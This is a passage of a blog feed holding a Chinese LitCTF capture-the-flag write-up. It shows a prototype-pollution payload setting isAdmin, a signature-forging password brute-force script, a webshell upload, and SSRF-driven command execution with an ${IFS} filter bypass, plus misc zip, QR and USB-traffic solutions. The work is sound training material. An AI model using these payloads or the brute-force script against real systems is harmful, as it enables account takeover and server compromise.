class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;settings&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;__proto__&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;isAdmin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529201135401.png" alt="image-20250529201135401"></p><h2 id="easy-file"><a href="#easy-file" class="headerlink" title="easy_file"></a>easy_file</h2><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529201625903.png" alt="image-20250529201625903"></p><p>放入bp分析</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529201828620.png" alt="image-20250529201828620"></p><p>账号和密码先进行了base64编码，然后对&#x3D;进行url编码</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529202156627.png" alt="image-20250529202156627"></p><p>bp进行爆破</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529204848071.png" alt="image-20250529204848071"></p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529204912308.png" alt="image-20250529204912308"></p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529204927044.png" alt="image-20250529204927044"></p><p>进去了</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529204945763.png" alt="image-20250529204945763"></p><p>上传一句话，改请求</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529212718625.png" alt="image-20250529212718625"></p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529212726653.png" alt="image-20250529212726653"></p><p>查看目录</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529212739535.png" alt="image-20250529212739535"></p><p>输出fllag.php</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529212821477.png" alt="image-20250529212821477"></p><h2 id="easy-signin"><a href="#easy-signin" class="headerlink" title="easy_signin"></a>easy_signin</h2><p>disrsearch扫描网站，发先login界面</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250530231712482.png" alt="image-20250530231712482"></p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250530231741501.png" alt="image-20250530231741501"></p><p>看一下源码，将js和一个请求投喂给ai，生成破解脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">md5</span>(<span class="params">text</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;计算MD5哈希值&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">return</span> hashlib.md5(text.encode(<span class="string">&#x27;utf-8&#x27;</span>)).hexdigest()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">generate_sign</span>(<span class="params">username, password, timestamp, secret_key</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;生成签名，模拟前端JavaScript的签名生成逻辑&quot;&quot;&quot;</span></span><br><span class="line">    md5_username = md5(username)</span><br><span class="line">    md5_password = md5(password)</span><br><span class="line">    short_user = md5_username[:<span class="number">6</span>]</span><br><span class="line">    short_pass = md5_password[:<span class="number">6</span>]</span><br><span class="line">    sign_str = <span class="string">f&quot;<span class="subst">&#123;short_user&#125;</span><span class="subst">&#123;short_pass&#125;</span><span class="subst">&#123;timestamp&#125;</span><span class="subst">&#123;secret_key&#125;</span>&quot;</span></span><br><span class="line">    <span class="keyword">return</span> md5(sign_str)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">crack_password</span>(<span class="params">target_url, username, secret_key, dict_path</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;执行密码爆破&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="comment"># 读取密码字典</span></span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(dict_path, <span class="string">&#x27;r&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            passwords = [line.strip() <span class="keyword">for</span> line <span class="keyword">in</span> f <span class="keyword">if</span> line.strip()]</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;字典加载成功，共 <span class="subst">&#123;<span class="built_in">len</span>(passwords)&#125;</span> 个密码&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;字典读取失败: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 准备请求头</span></span><br><span class="line">    headers = &#123;</span><br><span class="line">        <span class="string">&#x27;User-Agent&#x27;</span>: <span class="string">&#x27;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;application/x-www-form-urlencoded&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;Accept&#x27;</span>: <span class="string">&#x27;*/*&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;Origin&#x27;</span>: <span class="string">&#x27;http://node6.anna.nssctf.cn:29799&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;Referer&#x27;</span>: <span class="string">&#x27;http://node6.anna.nssctf.cn:29799/login.html&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;Accept-Language&#x27;</span>: <span class="string">&#x27;zh-CN,zh;q=0.9&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;Connection&#x27;</span>: <span class="string">&#x27;close&#x27;</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 计算用户名的MD5值</span></span><br><span class="line">    md5_username = md5(username)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 开始爆破</span></span><br><span class="line">    total = <span class="built_in">len</span>(passwords)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;开始爆破，目标URL: <span class="subst">&#123;target_url&#125;</span>，用户: <span class="subst">&#123;username&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> i, password <span class="keyword">in</span> <span class="built_in">enumerate</span>(passwords, <span class="number">1</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="comment"># 生成当前时间戳（毫秒级）</span></span><br><span class="line">            timestamp = <span class="built_in">str</span>(<span class="built_in">int</span>(time.time() * <span class="number">1000</span>))</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 生成签名</span></span><br><span class="line">            sign = generate_sign(username, password, timestamp, secret_key)</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 准备请求数据</span></span><br><span class="line">            data = &#123;</span><br><span class="line">                <span class="string">&#x27;username&#x27;</span>: md5_username,</span><br><span class="line">                <span class="string">&#x27;password&#x27;</span>: md5(password),</span><br><span class="line">                <span class="string">&#x27;timestamp&#x27;</span>: timestamp</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 添加签名到请求头</span></span><br><span class="line">            headers[<span class="string">&#x27;X-Sign&#x27;</span>] = sign</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 发送请求</span></span><br><span class="line">            response = requests.post(target_url, headers=headers, data=data, timeout=<span class="number">10</span>)</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 显示进度</span></span><br><span class="line">            sys.stdout.write(<span class="string">f&quot;\r进度: <span class="subst">&#123;i&#125;</span>/<span class="subst">&#123;total&#125;</span> - 正在尝试: <span class="subst">&#123;password&#125;</span>&quot;</span>)</span><br><span class="line">            sys.stdout.flush()</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 检查响应</span></span><br><span class="line">            <span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">                <span class="keyword">try</span>:</span><br><span class="line">                    json_data = response.json()</span><br><span class="line">                    <span class="keyword">if</span> json_data.get(<span class="string">&#x27;code&#x27;</span>) == <span class="number">200</span>:  <span class="comment"># 根据实际情况调整判断条件</span></span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;\n\n爆破成功！用户名: <span class="subst">&#123;username&#125;</span>，密码: <span class="subst">&#123;password&#125;</span>&quot;</span>)</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;MD5(用户名): <span class="subst">&#123;md5_username&#125;</span>&quot;</span>)</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;MD5(密码): <span class="subst">&#123;md5(password)&#125;</span>&quot;</span>)</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;时间戳: <span class="subst">&#123;timestamp&#125;</span>&quot;</span>)</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;签名: <span class="subst">&#123;sign&#125;</span>&quot;</span>)</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;响应内容: <span class="subst">&#123;response.text&#125;</span>&quot;</span>)</span><br><span class="line">                        <span class="keyword">return</span> password</span><br><span class="line">                <span class="keyword">except</span>:</span><br><span class="line">                    <span class="comment"># 如果响应不是JSON格式，检查响应文本中是否包含成功标志</span></span><br><span class="line">                    <span class="keyword">if</span> <span class="string">&quot;success&quot;</span> <span class="keyword">in</span> response.text.lower() <span class="keyword">or</span> <span class="string">&quot;欢迎&quot;</span> <span class="keyword">in</span> response.text:</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;\n\n爆破成功！用户名: <span class="subst">&#123;username&#125;</span>，密码: <span class="subst">&#123;password&#125;</span>&quot;</span>)</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;MD5(用户名): <span class="subst">&#123;md5_username&#125;</span>&quot;</span>)</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;MD5(密码): <span class="subst">&#123;md5(password)&#125;</span>&quot;</span>)</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;时间戳: <span class="subst">&#123;timestamp&#125;</span>&quot;</span>)</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;签名: <span class="subst">&#123;sign&#125;</span>&quot;</span>)</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;响应内容: <span class="subst">&#123;response.text&#125;</span>&quot;</span>)</span><br><span class="line">                        <span class="keyword">return</span> password</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 防止请求过快</span></span><br><span class="line">            time.sleep(<span class="number">0.1</span>)</span><br><span class="line">            </span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;\n请求异常: <span class="subst">&#123;e&#125;</span>，继续尝试下一个密码...&quot;</span>)</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n\n所有密码尝试完毕，未找到正确密码&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># 配置参数 - 根据实际情况修改</span></span><br><span class="line">    TARGET_URL = <span class="string">&#x27;http://node6.anna.nssctf.cn:29799/login.php&#x27;</span></span><br><span class="line">    USERNAME = <span class="string">&#x27;admin&#x27;</span>  <span class="comment"># 根据实际情况修改</span></span><br><span class="line">    SECRET_KEY = <span class="string">&#x27;easy_signin&#x27;</span>  <span class="comment"># 根据实际情况修改</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 获取字典文件路径</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &lt; <span class="number">2</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;用法: python password_cracker.py &lt;字典文件路径&gt;&quot;</span>)</span><br><span class="line">        sys.exit(<span class="number">1</span>)</span><br><span class="line">    </span><br><span class="line">    DICT_PATH = sys.argv[<span class="number">1</span>]</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 执行爆破</span></span><br><span class="line">    crack_password(TARGET_URL, USERNAME, SECRET_KEY, DICT_PATH)</span><br></pre></td></tr></table></figure><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250530235825226.png" alt="image-20250530235825226"></p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250530234734207.png" alt="image-20250530234734207"></p><p>在登录界面中的源码中有个api.js</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250531000134779.png" alt="image-20250531000134779"></p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250531000141669.png" alt="image-20250531000141669"></p><p>请求&#x2F;var&#x2F;www&#x2F;html&#x2F;backup&#x2F;8e0132966053d4bf8b2dbe4ede25502b.php试试</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250531000249426.png" alt="image-20250531000249426"></p><p>加上<code>http://127.0.0.1/</code></p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250531000717480.png" alt="image-20250531000717480"></p><p>只允许来自 127.0.0.1 的请求，执行用户传入的命令并返回结果，通过 name 参数控制后续命令执行</p><p>对空格进行了过滤，${IFS}进行绕过</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250531001719928.png" alt="image-20250531001719928"></p><p>发现327a6c4304ad5938eaf0efb6cc3e53dc.php比较特别，访问一下</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250531001807250.png" alt="image-20250531001807250"></p><h1 id="Mis"><a href="#Mis" class="headerlink" title="Mis"></a>Mis</h1><h2 id="Cropping"><a href="#Cropping" class="headerlink" title="Cropping"></a>Cropping</h2><p>压缩包放入010，发现一偶一奇是伪加密，将50 4B 01 02后面的09 00改为08 00</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250527194929282.png" alt="image-20250527194929282"></p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250527194933287.png" alt="image-20250527194933287"></p><p>成功打开压缩包，里面有许多二维码碎片</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250527195154995.png" alt="image-20250527195154995"></p><p>按照图片名称进行拼接</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">stitch_images</span>():</span><br><span class="line">    <span class="comment"># 获取当前脚本所在目录</span></span><br><span class="line">    script_dir = os.path.dirname(os.path.abspath(__file__))</span><br><span class="line">    tiles_dir = os.path.join(script_dir, <span class="string">&#x27;tiles&#x27;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 检查tiles目录是否存在</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(tiles_dir):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;错误：找不到tiles目录，请确保&#x27;<span class="subst">&#123;tiles_dir&#125;</span>&#x27;存在。&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 初始化图片网格和最大坐标</span></span><br><span class="line">    grid = &#123;&#125;</span><br><span class="line">    max_x = <span class="number">0</span></span><br><span class="line">    max_y = <span class="number">0</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 遍历tiles目录中的所有文件</span></span><br><span class="line">    <span class="keyword">for</span> filename <span class="keyword">in</span> os.listdir(tiles_dir):</span><br><span class="line">        <span class="keyword">if</span> filename.endswith(<span class="string">&#x27;.png&#x27;</span>) <span class="keyword">and</span> filename.startswith(<span class="string">&#x27;tile_&#x27;</span>):</span><br><span class="line">            <span class="comment"># 解析文件名中的坐标</span></span><br><span class="line">            parts = filename.split(<span class="string">&#x27;_&#x27;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="built_in">len</span>(parts) != <span class="number">3</span>:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">                </span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                x = <span class="built_in">int</span>(parts[<span class="number">1</span>])</span><br><span class="line">                y = <span class="built_in">int</span>(parts[<span class="number">2</span>].split(<span class="string">&#x27;.&#x27;</span>)[<span class="number">0</span>])</span><br><span class="line">            <span class="keyword">except</span> ValueError:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">                </span><br><span class="line">            <span class="comment"># 更新最大坐标</span></span><br><span class="line">            <span class="keyword">if</span> x &gt; max_x:</span><br><span class="line">                max_x = x</span><br><span class="line">            <span class="keyword">if</span> y &gt; max_y:</span><br><span class="line">                max_y = y</span><br><span class="line">                </span><br><span class="line">            <span class="comment"># 存储图片路径</span></span><br><span class="line">            grid[(x, y)] = os.path.join(tiles_dir, filename)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 检查是否找到图片</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> grid:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;错误：在tiles目录中未找到符合格式的图片。&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 确定图片尺寸</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        sample_img = Image.<span class="built_in">open</span>(<span class="built_in">next</span>(<span class="built_in">iter</span>(grid.values())))</span><br><span class="line">        tile_width, tile_height = sample_img.size</span><br><span class="line">        sample_img.close()</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;错误：无法打开样本图片。<span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 创建拼接后的图片</span></span><br><span class="line">    result_width = (max_y + <span class="number">1</span>) * tile_width</span><br><span class="line">    result_height = (max_x + <span class="number">1</span>) * tile_height</span><br><span class="line">    result = Image.new(<span class="string">&#x27;RGB&#x27;</span>, (result_width, result_height))</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 拼接图片</span></span><br><span class="line">    <span class="keyword">for</span> (x, y), path <span class="keyword">in</span> grid.items():</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            img = Image.<span class="built_in">open</span>(path)</span><br><span class="line">            <span class="comment"># 计算在结果图片中的位置</span></span><br><span class="line">            pos_x = x * tile_height</span><br><span class="line">            pos_y = y * tile_width</span><br><span class="line">            <span class="comment"># 粘贴图片</span></span><br><span class="line">            result.paste(img, (pos_y, pos_x))</span><br><span class="line">            img.close()</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;警告：无法处理图片 <span class="subst">&#123;path&#125;</span>。<span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 保存结果</span></span><br><span class="line">    output_path = os.path.join(script_dir, <span class="string">&#x27;stitched_image.png&#x27;</span>)</span><br><span class="line">    result.save(output_path)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;拼接完成！结果已保存至 <span class="subst">&#123;output_path&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    stitch_images()    </span><br></pre></td></tr></table></figure><p>得到完整二维码，扫码得flag</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250527195353173.png" alt="image-20250527195353173"></p><h2 id="灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄"><a href="#灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄" class="headerlink" title="灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄"></a>灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄</h2><p>USB流量一把梭</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250527204223621.png" alt="image-20250527204223621"></p><p>进行镜像翻转得压缩包密码868F-83BD-FF</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250527204545749.png" alt="image-20250527204545749"></p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250527205011432.png" alt="image-20250527205011432"></p><p>隐写</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250527205346978.png" alt="image-20250527205346978"></p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/</id>
    <link href="https://blog.ziworld.top/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/"/>
    <published>2025-05-27T12:28:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="web"><a href="#web" class="headerlink" title="web"></a>web</h1><h2 id="nest-js"><a href="#nest-js" class="headerlink"]]>
    </summary>
    <title>LitCTF赛题复现</title>
    <updated>2026-03-09T09:40:18.989Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="插件" scheme="https://blog.ziworld.top/categories/%E6%8F%92%E4%BB%B6/"/>
    <category term="插件" scheme="https://blog.ziworld.top/tags/%E6%8F%92%E4%BB%B6/"/>
    <category term="倍速" scheme="https://blog.ziworld.top/tags/%E5%80%8D%E9%80%9F/"/>
    <content>
      <![CDATA[<p>这是一个测试文本，你复制试试</p><p><code>https://gfork.zh-tw.eu.org/zh-hans/scripts/372673</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span 